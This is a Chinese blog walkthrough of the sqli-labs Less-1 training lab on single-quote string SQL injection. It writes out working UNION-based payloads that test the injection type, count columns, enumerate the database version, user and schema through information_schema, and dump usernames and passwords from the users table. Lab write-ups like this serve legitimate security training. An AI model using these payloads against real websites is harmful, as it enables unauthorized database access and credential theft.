sqli-labs/Less-1/基于单引号的字符型注入

相关wp:

单引号字符型注入_BTY@BTY的博客-CSDN博客

SQL注入漏洞详解_boolean-based blind_yyysec的博客-CSDN博客

【Less-1】单引号报错字符型注入_less 1----基于单引号的字符型注入_多学点技术的博客-CSDN博客s
如何判断是字符型注入还是数字型注入_字符型注入和数字型注入_原味瓜子、的博客-CSDN博客
 

  • SQL 注入需要满足以下两个条件:
  1. 参数可控:从前端传给后端的参数内容是用户可以控制的
  2. 参数带入数据库查:传入的参数拼接到 SQL 语句,且带入数据库查询。

  • sql注入的两种漏洞分类
  1. 数字型
  2. 字符型

  • 手工注入思路

1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by x
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据

  • 注释符:

#(单行注释 注意与 url 中的#区分)
--空格 (单行注释 注意为短线短线空格)
/*()*/ (多行注释 至少存在俩处的注入 /**/常用来作为空格)

  • 如何判断是数字型注入还是字符型注入

这里我们借用原味瓜子、的理解

 

或者用   www.xxx.com/ccc.php?id=1' and '1'='2'--+  来判断

 字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

sqli-labs 第一关

1.判断注入类型

?id=1 and 1=2 --+

页面正常,说明不是数字型注入

?id=1' and '1'='1' --+

?id=1' and '1'='2' --+    或者 ?id=1' and '1'='2

页面错误,说明是字符型注入

2.报错猜解准备(报出数据显示点以及列名字段数)

?id=1' order by 3 --+

页面正常

?id=1' order by 4 --+

页面错误,说明列名字段数为3

?id=-1' union select 1,2,3 --+

爆出显示位,就是看表格里哪一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

3.信息收集

数据库版本 version()                                    5.7.26

数据库名字 database()                                 security

数据库用户 user()                                         root@localhost

操作系统@@version_compile_os                win64

?id=-1' union select 1,version(),database() --+

?id=-1' union select 1,user(),@@version_compile_os --+

4.查询指定数据库下的表名信息

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

5.查询指定表下的列名信息

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

 6.查询指定数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users  --+

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值